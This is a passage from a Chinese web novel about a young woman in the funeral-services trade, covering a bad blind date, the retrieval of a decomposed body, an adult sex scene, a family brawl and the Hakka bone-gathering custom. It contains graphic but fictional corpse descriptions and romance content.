先不说这消失的头发和完全不搭噶的五官,白绯自己就有一米七,刚才王大富站在边上,甚至比她还矮半个头,哪来的脸说自己一七五?
“王先生,我是陈小姐的朋友,她今天临时有事来不了,托我过来和你说一声。她目前没有谈恋爱的打算,就不耽误你了。也祝你早日找到合适的另一半。”
白绯有种被诈骗的感觉,也不准备多留,交代完事后就准备拿包走人。
王大富眼看着美女连屁股都没坐热就要走人,急了,站起来拦人:“唉,美女,别这么着急走啊。陈小姐不来也没事,我在这也等半天了,你就赏脸陪我坐一会儿吧!”
白绯上辈子加这辈子都没相过亲,倒也有些好奇,左右无事,想着不如趁此机会见识见识,犹豫了一会儿,便道了句好,又重新坐了回去。
没想到就是这样的动作,给了王大富错觉。认为这美女必然是对自己有意,你看,这不都舍不得走了嘛!果然还是自己太帅太有魅力了。
“美女,喝点什么吗?”王大富张罗着就要给白绯下单,白绯礼貌地拒绝了,自己扫码下单了杯冰美式。
王大富开始在白绯面前野鸡开屏。
“美女贵姓?”
“免贵姓白。”
“白小姐,这姓配你。唉,像白小姐这样的美女,就得配咱这样的帅哥才行。普通的帅哥还不行,得有钱,可不能让你穿着高跟鞋在电动车上吹冷风~”王大富刻意地扒拉了下放在桌上的宝骏车钥匙,又转了转手上的荣耀手表,咳嗽了一声,道:“一会儿你走的时候请务必让鄙人送啊。今天司机有事请假了,我亲自开车把你送回去。”
白绯:...我该说谢谢吗?
“不知白小姐是做什么的?在下别的没有,人脉那是广得很。如果你有业绩压力,可以找我,二话不说一定帮你完成业绩!”
白绯:...怎么达成?现杀还是你自杀躺上去?
她干咳一声,随口道:“我这行没有业绩要求。”
王大富很夸张地张大了嘴:“没有业绩要求?那看来白小姐找了个好工作啊,现在哪一行不卷,就连体制内都卷得不行了。”
这点白绯倒也同意。正好服务员端上了咖啡,白绯抿了一口,回道:“确实,现在大家工作都很辛苦。”
“是啊!”王大富深有同感,愁眉苦脸地喝了口杯子里的拿铁,咂咂嘴,道:“钱不好挣呐!呸,这啥玩意儿,还没我妈榨的豆浆好喝。白小姐,我跟您说,以后咱俩在一起了,你也别喝这些不中看也不中用的玩意儿了,就喝俺妈给你榨的豆浆,这东西对女人才好,保证您二次发育!”
白绯差点没端稳手中的咖啡杯。
她刚刚是被性骚扰了吗?是她失忆了还是王大富失心疯了,谁要和他在一起了?
王大富贼眉鼠眼地直往白绯胸口瞄。白绯突然庆幸今天自己穿的是一条保守的牛仔衬衫连体裙了。
王大富小眼睛滴溜溜地一转,也不知在脑子里想了些什么黄色废料,笑得格外地□□。
白绯被恶心得浑身鸡皮疙瘩直冒,下决心以后一定改掉好奇的毛病,不然也不会吃上这么大一口屎。
“白小姐,你在什么单位上班啊。咱们这也算有缘,以后你们有什么内部团购价,记得给我留一个啊~”
白绯:“好,以后有第二棺半价一定给你留。喂~哦,我马上就来,嗯嗯,我现在...”
手机里调好的闹铃响了,白绯把手机放到耳边就站起身往外走。
“唉,白小姐,咱们加个联系方式再走啊!唉,白...”
“先生,您还没结账。”
王大富起身就要来追,却被服务员拦了下来。他下意识想破口大骂,却发现来人是个一米八的
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壮汉,胳膊快有自己大腿粗。
王大富立马怂了,出口的脏话又咽了回去,骂骂咧咧地结了账,等他追出咖啡厅大门,哪还有白绯的影子。他心中直呼可惜,眼珠一转,又想到了白绯喝过的咖啡,眼珠里闪过□□的光,掉头赶了回去。然而桌上哪还有杯子,早已被服务员收拾得干干净净。
王大富暗道可惜,打开和陈安夏的聊天对话框,想问她索要白绯的联系方式,却发现消息已经被拒收了。
“草!白瞎我这么贵两杯咖啡钱!”
直到坐进车里,白绯都还心有余悸。她一出门就给陈安夏发了信息,让她赶紧把王大富拉黑。陈安夏不明所以,但她知道听人话吃饱饭,于是果断拉黑删除一条龙处理了。
“绯绯,这王大富也是个奇葩?看照片还算个正常人啊?”陈安夏发来信息。
白绯无语地回了条语音:“估计王大富亲妈来看那张照片,都认不出这是自己儿子。”
还是回去看看小童工吧,白绯有气无力地想,她需要洗洗自己的眼睛。她刚发动汽车,手机就又响了起来。起初她还以为是陈安夏发来的信息,打开一看却发现是小施打来了电话。
“喂?”
“绯绯姐,刚才接到个订单,我们要去向阳小区x栋xxx室接一具遗体,遗体状况比较糟糕,需要你过来搭把手。”
“好,这就来。”白绯踩下油门,问道:“遗体现在是什么情况?”
小施生无可恋地回答:“高度巨人观。”
白绯:...
向阳小区名字阳光,但实际情况却很阴间。小区地处偏僻,道路坑洼不平,到处都是污水和淤泥。角落里堆放着各色垃圾,塑料袋、废纸、烂水果散发出阵阵恶臭,苍蝇和蚊子在周围嗡嗡乱飞。
然而这些恶臭都抵不过另一种刺鼻的味道。白绯的车子才刚开进小区,那股直扑天灵盖的气味就从车窗的缝隙里钻了进来。
白绯捂着鼻子下了车,小施他们已经在单元门口等着了。
周围难得的没有任何围观群众,大家都门窗紧闭,只能从玻璃后看到一张张八卦的脸。
“绯绯姐,你快穿上。”小施看到她过来,赶紧给她递过来口罩、护目镜和防护服。
口罩是三层的,最中间那层已经浸透了花露水。
白绯接过来戴上,又在最外层戴上了一个N95。她在小施的帮助下穿上防护服和护目镜,再戴上双层乳胶手套,有些惊讶地看了眼全副武装的祝临川和陈安夏,问道:“你俩也来了?别一会儿吓得吐出来啊~”
小施边帮她拉拉链边笑道:“是啊,我也这么说。但安夏和临川都坚持自己能行,我就带他们一起来了。”
隔着防护服也看不清表情,陈安夏对白绯比了个OK,祝临川则沉稳地点了点头。
“也好,人少确实不好处理。车厢温度调好了吗?”白绯边问小施边带头向前走去。四人从搭在居民楼之间的晾衣绳下走过,跨进了低矮的门洞。
“调好了,目前维持在2度。家属已经把死亡证明和转运证明交给我了,我让他们先去殡仪馆等着。法医来过说是酒后呕吐物导致的窒息死亡。”
走进楼道后,那股臭味更是浓郁,陈安夏忍不住发出了一声干呕。
白绯以前有位同事曾这样形容尸臭:把一块猪肉和鸡肉一起放进袋子里,放在太阳下暴晒一个月,之后打开袋子,那股味道就是尸臭。
12. 巨人观(含少量尸体描写)
有人曾这样解释人类害怕尸臭的原因:在漫长的进化过程中,我们曾经历过无数次遭遇同类尸体的情况。而尸臭覆盖的范围,其实就标志着这里存在致命的威胁。头铁的都挂了,只有老老实实将这种信号刻进DNA里的个体才能存活下来。
白绯觉得挺有道理的。
她握着锈迹斑斑的楼梯扶手走上台阶,来到了xxx房间门口。在这里恶臭甚至到了让人无法呼吸的地步,苍蝇乱飞,大量惨白的蛆虫正蠕动着身体往外爬,有些甚至还爬上了白绯的脚。幸好她穿着严严实实的防护服,但场景还是够恶心的。
陈安夏虽说胆子比一般人大,但还是恶心地大叫了一声,连连往后退去。出乎意料的是祝临川,他踩过满地的虫子,留下一地的粘液,淡定地朝着卧室走了过去。
白绯抖掉脚上的虫子,回头拍了拍陈安夏,道:“你在这等着吧。一会儿我们包好尸袋你再来帮忙搭把手。”
陈安夏嘤嘤道:“好。”
白绯和小施也走了进去,床上的老哥整个人已经肿成了三倍大,尤其是膨胀如气球的腹部。眼球突出,嘴唇外翻,黑黄的尸液横流。
小施艰难地在地上扫出一块干净的区域,把巴氏袋铺在了地上。他抬头看见祝临川正要去抬遗体,赶紧连声阻止:“别抬手!一会儿皮得掉了!”
然而祝临川并没有去拉尸体手的意思,而是稳稳地扶住了他的肩膀。
白绯不由地挑了挑眉,暗道:奇怪,这祝临川胆子比一般人大也就算了,怎么对尸体还挺了解的?
想到这,她便索性直接开口问了:“你怎么知道不能抬手?”
祝临川隔着护目镜看了眼白绯,看不清他的表情,只觉得语气中带着戏谑的笑意:“我大学学的法医。”
白绯:...
她想到之前自己频频吓唬他的事,无语地扶了扶额,小丑竟是我自己。
巨人观状态下的尸体,表皮与真皮层已经分离,此时若是去拉手,整个手臂的皮肤都会脱落,形成一个完整的手套模样。所以白绯只能和祝临川扶住逝者两边的肩膀,小施则抱住他的腿部关节,三人一起用力,将尸体从床上抬了起来。
床垫上留下一摊黑色的人形印渍,尸水甚至浸透了三十厘米厚的床垫。
突然只听刺啦一声,白绯回头一看,就看到枕头上留下了一整片的头皮,大量的黑水正从已经软化的头骨处汩汩往外流,是已经腐烂的脑内组织物。
白绯:呕...
他们将尸体放入巴氏袋,之后又打开卫生包,将巴氏袋放进去。小施掏出几大袋干冰,和顾临川一起填进缝隙,让尸体尽量降温,别在路上就给炸了。
“怎么会过了这么久才发现遗体?”饶是白绯都有些受不了,她转移视线不再看,走到卧室外,发现客厅里竟然一片狼藉。桌椅都翻倒在地,地上都是玻璃和碗盘的碎片,地砖上还有几滴零星的血迹。
白绯不由皱眉,扭头问小施:“怎么一副被入室盗窃过的模样,死者真不是被害的?”
小施和祝临川正在把卫生包往防水尸袋里放,闻言头也不抬地回道:“还真不是。死者酒后直接把老婆打进了医院,等老婆出院回家,就发现老公都死了好几天了。警察和法医都来过了,确认就是被自己的呕吐物给闷死的。”
“呵,原来是自作孽。”白绯冷笑一声,对小施道:“你们等会儿,我和安夏去把车里的防漏担架拿上来。”
尸体最终被包裹进了不透明的转运袋,四人吭哧吭哧抬下车,搬进了救护车里。白绯把自己的车钥匙挂在了树枝上,嘱咐代价小哥一会儿把车开回公司,跟着三人一起去了殡仪馆。
死者的妻子是一名长相清秀的女子,骨折的胳膊还吊在脖子上。四人将担架拉下来,问道:“要放去告别室吗?我们可以帮你抬过去。”
女人脸上还有些青紫,她表情茫然地看了眼尸袋,就跟被蛰到似地又恐惧地缩了缩脖子。她咬着唇,犹豫半天,还是道:“不必了,手续已经办完了,直接烧了吧。”
白绯三人便推着担架和她一起去找工作人员,直到工作人员拉着遗体走进火化室,女人都还有些茫然。
边上几个接待室都是满满当当的人,大家都在低声哭泣,神情哀痛,衬得他们这儿奇异地冷清。
女人呆呆地看着火化室紧闭的大门,突然对着白绯几人说起话来:“我丈夫十岁时被父母抛弃,到处打零工为生。我的父母也在我三岁时离异,各自组建了家庭,不要我这个拖油瓶。我俩16岁在电子厂认识,彼此相依为命,在20岁时终于结了婚。生活虽然苦,但我相信只要我们一起努力,什么都会有的。我们努力地攒钱,终于在28岁攒够了首付,我以为日子会一天比一天好。可是有一天,他喝醉了酒,活生生踢断了我三根肋骨...”
女人细瘦的手指抚上小腹,声音颤抖:“孩子...肚子里的孩子也跟着没了。他后来跪下来跟我道歉,对我磕头,说是喝多了,求我原谅他...我原谅了,然后他打了我第二次,第三次...多到我再也数不清,多到他甚至都懒得再骗我一句下次不会了...”
她怔愣地看着前方,嘴里喃喃道:“我没想到他突然就死了...我们在一起十五年,可我现在却一点也哭不出来...”
“你要是能哭出来才是贱。”白绯突然开口了。她这话说得大逆不道,连社恐的陈安夏都在后头悄悄拉住了她的衣角,抖着嗓子直喊姐。
小施赶紧拦在二人中间打圆场:“啊,那个,你听错了,哈哈哈...”他扭头对白绯疯狂挤眼睛:“别说了!我的祖宗,你想挨打吗?”
祝临川没有说话,只是默默地向前跨了一步,挡住了白绯。
白绯被陈安夏抱住腰疯狂往后拖,还不依不挠地掰住祝临川的肩膀,垫着脚从后面探出脑袋,继续大放厥词:“哭什么哭,要不是他今天死了,以后躺在这儿的就得是你。这么天大的喜事,要不是国家禁烟火,我都想让你放个加特林庆祝庆祝。”
女人显然没料到会得到这样的回复,张着嘴表情呆滞地愣在原地。
小施尬笑道:“那个,事情处理完了,我们先走了,您节哀。”说完就和陈安夏二人一个抱着腰,一个抬着腿
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,拖着白绯溜之大吉。
一直到坐回车上,陈安夏才松了口气,瘫在椅子上后怕道:“绯绯,你怎么这么说话呀~虽然说得是实话,但我听说有些人,你好心帮她,她还会反过来护着自己老公...”
“就是啊,我真怕她一巴掌呼过来。”小施扯了扯身上的防护服,叹道:“我身上冷汗都给吓出来了。”
白绯翘着二郎腿倚在座位上,很无所谓的样子:“不说我自己就憋死了。我才不要内耗,先发疯的人先享受世界。再说了,不是有小祝嘛!小祝,你会保护我的对不对?”
她隔着护目镜对祝临川抛了个媚眼,就听到对方低低嗯了一声。
四人回到公司,脱掉防护装备做医疗废物处理,小施留在楼下对车辆进行消毒,祝临川帮忙,白绯和陈安夏则先去洗澡。
小楼里一共有三个卫浴,周芸房间一个,白绯房间一个,一楼大厅一个。
天色已晚,陈安夏在一楼洗完后就先回家了,小施收拾完进屋,去了一楼的卫浴,祝临川原本坐在大厅的小板凳上等,却见白绯趴在二楼栏杆上笑着招呼他:“别等了,来我房间洗呗~”
祝临川立刻就红了脸,他个子高,缩手缩脚坐在小板凳上的模样乖巧得可爱。
“不用了,我等小施哥洗完再洗。”他低头抱着自己的腿,就听到楼上传来一声挑逗的轻笑。
“怎么,怕我吃了你啊?”白绯歪着头看他,还有些湿润的头发垂落在圆润的肩头,黑白对比分明。
她穿着一条墨绿色真丝V领吊带睡裙,更显得眉眼昳丽。
“好啦,快上来吧,洗完好吃饭,你不饿吗?”
祝临川犹豫了片刻,还是走上了楼。关上浴室门前,他看到白绯正躺在床上玩着手机,裸露在裙摆下的白皙长腿上还有星星点点的红痕,甚至连脚踝上都有,都是他昨晚吻出来的。
祝临川握着门把手的手指不由地蜷了蜷,鼻尖似乎又涌上白茶花的香气。他红着脸近乎仓皇地关上了门,转身靠在了门板上。
浴室里湿漉漉的,挂在电热毛巾架上的浴巾犹带着湿气。被水汽浸润的镜子上照出他水润的浅灰色双眸。
热水轰隆而下,祝临川看着置物架上摆得满满当当的瓶瓶罐罐,一时间竟不知道哪个才是洗发水和沐浴露。幸好他也是高材生,对着瓶罐上的英文看了半晌,终于挑出了正确的两瓶。
原来白绯要用这么多东西来护理身体吗?难怪她的皮肤那么好,像牛奶一样白,也很滑。
祝临川面无表情地将泡沫涂满身体,脑子里却在胡思乱想。他忽然停下了动作,捧着满手的泡沫犹豫地凑到了鼻尖。
我就闻一闻,他想,闻一闻白绯身上的白茶香是不是沐浴露的香气...
祝临川把脸埋了进去,深深吸了口气,然后就被白茶花的香气灌满了鼻腔。
意识到自己在做什么后,他的脸更红了,身下甚至还有了反应。他有些恼怒地狠狠搓了自己两把,用水冲干净泡沫后,光着身体走出淋浴间,准备去拿自己的浴巾。
门却在这时候咔哒一声打开了。
13. 男色惑人
浴室里的水声停了下来,白绯放下手机,勾着唇轻手轻脚地下了地,赤足走到了浴室门口。她反手关上门,戏谑地斜倚在门板上,抱胸看着祝临川难以置信地盯着她。
视线恍如实质般扫过祝临川的身体,从恰到好处的胸肌,线条分明的腹肌到流畅的人鱼线。祝临川属于穿衣显瘦的类型,脱掉衣服才能发现其实身材相当不错,是时下很受欢迎的薄肌身材,既有男性力量感又不会显得油腻。再搭配他那身充满活力的小麦色肌肤和清冷禁欲的表情,实在是让白绯食欲大动。
她直起身往前踏了一步,祝临川却捂着下腹部往后退了一步。
白绯嘴角的笑容越来越大,在满屋氤氲的水汽下笑得越发勾魂摄魄。二人你进一步,我退一步,直到祝临川退无可退,被逼到了淋浴间的角落。仓皇间,花洒的开关被祝临川的手肘打到,温热的水流从淋浴喷头落下,打湿了白绯身上的真丝睡裙,勾勒出她身上曼妙的曲线。
白茶花的香气近在咫尺,混合着湿润的水汽,让人眩晕。
白绯的手指轻轻抚上祝临川的锁骨,指尖在那处新鲜的咬痕上流连。
“还疼吗?”她轻声问。
眼前的喉结上下滚动,沙哑的嗓音带动着胸腔的震颤:“不疼。”
白绯整个人几乎贴在了祝临川的怀里,呼吸喷洒在他颈间,激起细微的战栗。柔软的手指在蜜色皮肤上轻轻弹动,最终抚上了布满了细密抓痕的饱满胸膛。
“可是我还疼呢~”
话音刚落,祝临川的手就猛地握住了她的肩膀。指节因克制而微微发白,青筋在手背上隐隐浮现。然而,落在肩头的力度却轻柔地像一只蝴蝶,隐忍而又克制。
白绯听到他的心脏在耳边剧烈地跳动,相贴的皮肤间是滚烫的热度,其上流淌的水珠仿佛昨夜情动时分彼此的汗水。
白绯抬起头,眼神迷离,嘴角勾起一抹狡黠的笑,红唇微张,吐出挑衅的邀请:“但我喜欢你把我弄疼…”
名为理智的弦终于崩断,祝临川目光骤然一沉,反客为主,一手扣住白绯的细腰,一手护住她的后脑,将她反压在了墙上。
动作气势汹汹,却又温情缱绻。他就这么看着白绯,眼神中有挣扎,也有迷恋。
白绯戏谑地低笑一声,主动伸出双臂环上了他的脖颈,仰着头看他的样子仿佛任人予取予求。唇一触即分,水珠顺着白绯湿漉漉的发一路蜿蜒而下,最终消失在胸前的阴影处。
扶住她后脑的手微微用力,将她拉近,祝临川终于放任自己吻了上去。纠缠间,来不及咽下的唾液从下巴上划落。这吻热烈又霸道,像要将她吞噬,却又带着一丝克制的温柔。
扶在后腰的手顺着挺翘的臀划落,最终落在白绯的大腿上,用力一提,将她整个人往上托了上去。
白绯惊呼一声,下意识用双腿夹住了祝临川的腰,被牢牢禁锢在了他的身体与墙壁之间,这下,她是真无处可逃了。
因为姿势的变化,祝临川只能微微仰着头去追逐白绯的唇,犹如卑微的下位者。然而他身体的动作又是如此的大逆不道,将上位者拉下了快感的泥潭。
有湿透的衣服被灵活的手指轻轻褪下,挂在纤长的小腿肚上,最终滑落在地,发出啪嗒一声轻响。后背在墙壁上不断地来回摩擦,肩带从肩头滑落,欲掉不掉地挂在臂弯,大片白皙的皮肤暴露在外,与另一片小麦色的皮肤相贴,形成鲜明的对比。
花洒的水声掩盖了某些隐秘的声响,控制不住的呻吟也被唇齿咽下,逐渐失控的呼吸和颤抖的身体却出卖了一切。白绯的殷红的指尖牢牢掐住了祝临川结实的肩膀,身体因为快感而微微下坠,却又因此被推上更高的浪潮。
后来白绯是被祝临川抱出浴室的,她被轻柔地放在床上,连指尖都懒得动。
祝临川红着脸回浴室穿好干净的衣服,出来时就发现白绯就那么半眯着眼躺在床上玩手机,犹带着水汽的头发如海藻般搭在枕头上。
祝临川抿了抿唇,从浴室拿出吹风机,坐在床头沉默地给人吹起了头发。
修长的五指插入发间,和柔顺的发丝彼此纠缠。祝临川将吹风机悬在自己手背上方,让他能第一时间感知到温度是否合适。白绯原本已被伺候得通体舒坦,如今更是心满意足。
她侧身含笑看着祝临川,微微支起身体,给了他一个蜻蜓点水般的吻。
周芸和白书远今晚都没在公司,回了在市中心的家,小施晚上也不在这里,白绯索性就点了家外卖。眼看也差不多到送达时间了,接到电话却只听到那头外卖员颤颤巍巍的声音:“姐,我不敢进你们院,我都快吓尿了。外卖给你们放院门口了,麻烦你自己取一下吧!求求你别给我差评,我是真不敢进啊~”
隔着电话,白绯甚至还能听到那头在不断念叨着“阿弥陀佛,上帝保佑,羊踹玉兔、富强民主和谐…”
她哭笑不得地应了声好,让外卖小哥放心走吧。她也理解,别说是外卖员,前世她打车时,若是把地址直接定在公司,那根本就没人敢接单,逼得她只能先将地址定在单位附近,下车后自己再慢慢走过去。
祝临川已将她和外卖员的对话听了个明白,闻言便站起身道:“我去取吧。”
等他走到小院门口,外卖小哥早已经跑没了影。祝临川弯腰提起地上的袋子,转身往回走。月光如水,在水泥地上映出斑驳的树影,松柏的树叶被风吹得沙沙作响,和着墓地中影影绰绰的墓碑和虫鸣,简直就是鬼片现场,也难怪把人吓成那样。但祝临川却丝毫不觉得害怕,甚至还觉得心脏像一个充了气的气球,快活地要飞起来了。
都说幼时没有得到父母足够拥抱的孩子,长大后会患上皮肤饥渴症。他不知父母还在世时如何,但自他被祝金花收养以来,他是不曾和任何人有过亲密的肢体接触的,过早寄人篱下的生活让他早早长成了大人。
白绯是第一个和他有身体接触的人,甚至接触成了负距离。这种水乳交融的交缠让他迷恋,甚至上瘾。他不愿意去细想心中对白绯的感情,只知道,他觉得不够,远远不够。
内心有一个巨大的空洞,叫嚣着需要被填满。他想让白绯永远属于自己。即使他得不到她的心,至少也要得到她的人。
不争不抢是没有希望的,祝临川自小就明白这个道理。不管利用什么手段,只要达成了最终的目的,就是值得的。
白绯不知道只是拿个外卖的功夫,让祝临川在心里做了多大的决定。她随便找了件宽松T恤和大裤衩套上,将满身的爱痕都遮了起来,瘫在客厅沙发上边看手机里的沙雕视频,边等着祝临川回来。
她向来信奉人生苦短,及时行乐,并不把刚才的情事放在心上,没心没肺地吃完饭,和祝临川告别后就回屋睡觉去了。
祝临川看着她潇洒却又无情的背影,眸色深沉。
白绯睡了个好觉,睁眼就看到周芸静静坐在床边看着她。
她吓了一跳,下意识就要坐起来:“妈,你等我多久了,有事怎么不叫醒我?”
周芸轻轻按着她的肩膀让她躺回去,道:“没事,你再赖会儿床。”她温柔地看着白绯,替她理了理鬓边的头发,道:“律师已经把
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你名下的财产都转移到我名下了,还拟了婚前协议,给你放桌子上了。”
周芸指了指桌上的文件,道:“你有把握让那姓罗的签了这个协议?”
白绯慵懒地躺着,双手握住周芸的手掌,将自己的脸凑过去亲昵地蹭了蹭。她狡黠地笑笑,示意她放宽心:“您放心吧,他们家现在可有不少乐子,我就等他哪天沉不住气主动来钻这个套了。”
白绯说得不错。昨天罗峻辉带着老娘和姐姐,还有一堆散发着异味的行李搬进了顾怜心的家,让她当场就臭了脸。
顾老太抢救回来的行李上还带着刺鼻的臭味,她们娘俩把还看的过去的东西直接团做一团塞进衣柜,或者随便堆在沙发上、床上,实在看不下去的就扔进浴室,颐指气使地命令顾怜心去洗。
看在罗峻辉钱的面子上,顾怜心咬咬牙忍了,挤出假笑,扭头把衣服都塞进了洗衣机。结果就被祝老太撵在屁股后面唠叨不会过日子,那洗衣机不要水不要电?
顾怜心实在忍不住,顶嘴道:“洗衣机买来不洗衣服难道摆着看吗?”
没想到祝老太竟然理所当然地说:“谁家会过日子的儿媳妇不手洗衣服?要不是附近没有河,我都想叫你去河边洗衣服,在家手洗还要水费呢!以前白绯在我们罗家还不是一样老老实实用手洗!”
顾怜心:…
她索性眼不见为净,躲回了卧室。
罗峻辉一脸疲惫地躺在床上,眼下青黑。他看见温柔解意的小情人进来,紧皱的眉头才略微舒展,冲顾怜心敞开怀,示意她过来。
顾怜心噘着嘴,泫然欲泣地扑进了罗峻辉怀里,语气好不可怜:“峻辉,能不能让你妈妈和姐姐搬出去啊?”
罗峻辉也知道自家人的德行,但他最近为顾怜心买房买车已经花了不少钱,实在没有多余的流动资金了,只能糊弄道:“你忍忍,等过几天白绯把身上的邪祟驱走了,我就叫他们搬回婚房。”
顾怜心虽然不满,却也没办法,想着应该也要不了多久,忍忍算了。结果没想到,一忍就忍了一个礼拜。
短短七天,好好的家里都被塞满了各种快递包装盒、发霉的打包盒、鼓鼓囊囊的塑料袋、用途不明的塑料桶。祝老太和罗雪萍的脏衣服堆满了客厅,随处可见发黄的内衣和内裤。
顾怜心几乎认不出这是自己的家,好好的优雅浪漫的法式装修风格活生生变成了又脏又臭的垃圾房。
当她在厨房看到了一窝蟑螂,又因为身上的红肿去医院检查被确诊是虱子咬后,她终于爆发了。
顾怜心怒气冲冲地回了家。此时罗家母女俩正躺在客厅沙发的衣服堆上,一个大声外放着土味视频,一个满脸荡漾地戳着手机并不时发出诡异的笑声。
看到顾怜心回来,祝老太翻了个白眼,阴阳怪气道:“还知道回来。一家子都饿着等你做饭呢~”
顾怜心额角青筋直跳,直接跑回卧室砰地一声关上门。隔着门板还能听到祝老太在外面骂骂咧咧的声音。
罗峻辉这几天都请了假没去上班,神情萎靡,忧心忡忡。他下身的肿胀已经消退,然而却发生了更可怕的事,他发现自己硬不起来了。
顾怜心趴在罗峻辉膝头楚楚可怜地诉苦,罗峻辉心不在焉地随口敷衍。直到他听到家里竟然都有了虱子时,才终于正色。
白绯一直没有再联系他,也不知邪祟有没有被成功驱走。罗峻辉心中隐隐不安,总觉得自新婚夜起,一切都慢慢脱离了轨道。
他安抚地摸了摸顾怜心的长发,道:“我这就联系白绯,让我妈他们先搬回婚房去。”
14. 捡骨
果然,白绯等来了陆寻的消息。
陆寻说,昨晚顾怜心和祝老太母女倆在屋子里大动干戈,乒铃乓啷打了大半宿,直到邻居被吵得受不了报了警,才阻止了现场的混乱。
陆寻混在看热闹的人群中,透过敞开的大门往里看,就看到客厅里乱得都没下脚的地方,到处都是纸盒和衣物。
顾怜心尖叫着被祝老太母女倆牢牢按在身下,一个揪着她头发,一个骑在她胸口疯狂扇耳刮子。
“啊啊啊啊!好痛!”顾怜心一手护着快被活生生拔秃的头皮,一手护着已经被扇出通红指印的脸颊,绝望地向罗峻辉求救:“老公!你管管她们呀!”
罗峻辉不知怎么一脸肾虚的模样。他和顾怜心原本好好在卧室里说话,却不知祝老太老早就趴在门口偷听,听到顾怜心竟然怂恿罗峻辉要把他们娘俩赶出自家花钱买的房子,当下就张牙舞爪地扑了进去。
“好啊,你这个不要脸的小婊子,还没进门呢就给我吹枕头风!”祝老太趁顾怜心没反应过来,一把揪住了她的长发就往客厅拖,在她吃痛的哀嚎声中对罗雪萍怒道:“招娣,快过来给我打这个吃里扒外的贱货!”
罗雪萍早就看顾怜心不爽了。长得漂亮又有男人疼,年纪轻轻有房有车,每天顶着那张漂亮的脸招摇过市。有一次她和顾怜心一起坐电梯,遇到的男人都在偷偷打量她,对自己却连给个眼神都欠奉。
罗雪萍闻言立刻把手机摔在沙发上,兴冲冲上去就压着顾怜心开始左右开弓。
罗峻辉烦躁地看着在地上撕扯的女人,只觉得头痛欲裂。他弯腰想拉开自家老娘和姐姐,却被已经打急眼的二人直接一胳膊肘怼到了脸上,这猝不及防的重击让他瞬间口鼻流血,大病初愈的身体伤上加伤,眼前发黑地瘫坐在了沙发上,捂着鼻子再也不敢靠近。
顾怜心眼看指望不上他,心一横,索性鱼死网破,红着眼抓住祝老太的手就狠狠咬了上去。
祝老太瞬间惨嚎出声,疯狂殴打顾怜心的头脸。然而顾怜心显然也被打出了凶性,死活不松口,很快鲜血就顺着她的下巴淌了满脸满地。
饶是陆寻都被这惨烈的场景吓了一跳。直到警察加入战局,才勉强分开三个女人。
顾怜心好好一张鹅蛋脸已经肿成了猪头,她趁着警察制服了罗雪萍,抬脚就冲她胸口狠狠踢了一脚。
此时罗雪萍正被警察从后扭着胳膊站着,毫无防备下挨了这结结实实的一脚,当下就抽搐着软倒下去。
场面一片混乱。
陆寻想起当时的场景都还忍不住打了个冷战,道:“真是太凶残了,啧啧啧~哦对了,白小姐,估计最近姓罗的会联系你。家里闹成这样,他想让老娘和姐姐都搬回婚房。”
白绯半躺在床上,冷笑道:“没事,正等着他来呢~”
“行。”陆寻听她胸有成竹的模样,便也放下心来,打了个哈欠道:“姓罗那傻逼出轨的证据我都留下来了,等整理好后发给你。那我先补会儿觉,昨晚扒拉在墙边听了大半晚上墙角,困死我了。”
白绯疑惑道:“听墙角?”
“是啊~”陆寻又打了两个哈欠,听起来确实困得狠了,“我在他们边上租了个房间,别说他们说话的声音了,就连老太婆打鼾的声音都能听见,要不然也不能一打架就及时赶到现场看热闹了~”
白绯:好朴实无华的监听手段,她还以为陆寻是安装了窃听器呢~不过想到现在的楼房质量,又觉得确实可行。
她默默地又给陆寻转了笔资金,就伸着懒腰踢踢踏踏下了楼。
小院外边停着好几辆车,能听到从墓地那处传来的敲打声。
周芸给她从小锅里端出一直保温着的牛奶和包子,端着水杯和她一起站在窗边看:“是王总他们在迁坟,看你还在睡,就没叫你。”
王总那边的风水大师挑了好几个黄道吉日,最终选在了今天。工匠紧赶慢赶,总算在吉日前完了工。风水大师又另外挑了合适的时间给旧坟破土,一般要在午时前完成迁坟,避免正午的阳气对往生者造成伤害。
白绯一边吸着牛奶一边往远处看,能看到一个穿着黑色礼裙的女人正撑着伞站在棺材边,这是为了防止阳光照到尸骨。抬棺人正在把棺椁放入墓穴,纸钱燃烧的火光飞了老高。
王总是因为风水的变化主动迁坟,但在我国,也有不少地区有主动捡骨迁坟的习俗,例如客家族。
一般会聘请捡骨师傅前往祖坟,祭拜过后在选定的时辰破土。当棺木暴露出来后,移除棺材四个角上的五寸棺钉,请女儿或者孙女撑伞遮住往者头部。捡骨师傅会牵起往者的手,然后按顺序从脚部向上捡取,不能有所遗漏,即使是细小的指骨。将遗骸按照人体结构摆放好,不可乱,也不可少。
若是骸骨比较脏,还会先用水或者白酒清洗干净。有些地区则会选择用火进行烘烤,之后再用刷子刷干净。
往者骸骨会被装进金斗瓮中,或者新的棺椁中前往选定的下葬处,留下的旧墓碑会被敲碎,墓穴则会放入一个萝卜和九枚铜钱后再填平,旧的棺椁和寿衣也会在之后一并焚化。
棺椁护送途中若遇路口,就需要撒冥币或放鞭炮,到达新墓地后由亲属填前三锹土,墓穴封好后再行祭祀。
有很多人觉得这个习俗非常可怕,但其实背后也有渊源。从前社会动荡,老百姓会将往者的遗骨放在骨坛中,一旦被迫离乡,那么往生者也不会被孤苦留在原处。也有些人在有了更殷实的经济实力后,希望给往生者迁到风水更好更豪华的新墓中,让他们也能与生者共享荣华。
死亡并不可怕,可怕的是被遗忘。白绯觉得如果是自己,一直被后人惦记着,偶尔拿出自己的胫骨头骨给干干净净洗个澡,再搬个更宽敞的新家,她应该是挺高兴的。
她收回视线,把吸空的牛奶盒捏扁扔进垃圾桶,左右看了看,向周芸问道:“妈,祝临川呢?怎么
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没见他?”
周芸回道:“跟我请了假,一早就走了。说今天有课,回学校了。”
“哦~”白绯挠挠下巴,有点心虚。还是个小孩儿呐,要不下次别吃他了?
但她回味起那两晚,又觉得实在是对胃口。
周芸也喝了口杯子里的红枣水,视线瞟过白绯的脖子,讶异道:“脖子怎么了,被蚊子咬了?”
白绯摸了摸脖子,敷衍道:“好像是。”
“一会儿我给你屋里放瓶电热蚊香液,给小祝房里也放一瓶,那孩子估计不好意思说。”周芸笑着摸了摸白绯的头发,就端着水杯去仓库了。
白绯站在大厅,看那边诸事落幕,正准备回屋,却看到小施拿着手机走了过来。
“绯绯姐,出单了,这次的活很棘手。”
陈安夏被留在了公司和周芸一起叠纸活,只有小施和白绯一起开车去了事发地。
“尸体是高坠死亡,然后又被车子碾压了,现场没人敢收拾。”
白绯:...
“这属实有点惨了。我都能想到尸体大概成什么样了...”白绯头痛扶额。
